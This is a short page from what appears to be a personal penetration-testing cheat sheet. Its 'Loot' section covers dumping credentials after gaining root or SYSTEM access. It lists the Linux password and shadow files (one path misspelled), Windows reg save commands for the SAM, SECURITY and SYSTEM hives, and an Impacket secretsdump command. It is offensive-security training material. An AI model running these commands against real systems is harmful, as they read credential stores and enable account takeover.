d4Rk's 1337 h4x0r guide
About me
Search…
Introduction
Reconnaissance
Recon
OSINT
Enumeration
Network discovery
Port scanning
Webserver scanning
Exploit detection
Fuzzing
Process monitoring
Exploitation
Shells
Passwords
Web
Buffer overflow
Misc
Privilege escalation
Linux
Windows
Post exploitation
Loot
Pivoting
Standalone Tools
Services
TCP
UDP
Misc
File transfer
Overview
Wget
Pure-FTPd
TFTP
VBScript: Wget clone
Misc
Bash
Burp Suite
Crypto
Ebowla
Firefox extensions
Impacket
Memory forensics
Metasploit Framework (MSF)
MITM
Msfvenom
Pass the Hash (PTH)
PowerShell
PowerShell on Linux
Wireshark
Wordlists and dictionaries
Bug Bounty
Platforms
Tools
Powered By GitBook
Loot
Once we are root or NT AUTHORITY\SYSTEM it's time to collect some loot. 🤑🤑🤑

Linux

Dump users and passwords

Collect files on target
1
/etc/passwd
2
/erc/shadow
Copied!

Windows

Dump SAM

Collect files on target
1
reg save hklm\sam .\sam
2
reg save hklm\security .\security
3
reg save hklm\system .\system
Copied!
Then crack them using Impackets' secretsdump
1
secretsdump.py -sam sam -security security -system system LOCAL
Copied!

Dump NTDS (DC)

By default, the Ntds.dit file is located in %SystemRoot%\NTDS\Ntds.dit of a domain controller.
TODO (see /13-misc/impacket.md)
Previous
SILENTTRINITY
Next - Post exploitation
Pivoting
Last modified 4mo ago
Copy link
Edit on GitHub
Contents
Linux
Dump users and passwords
Windows
Dump SAM
Dump NTDS (DC)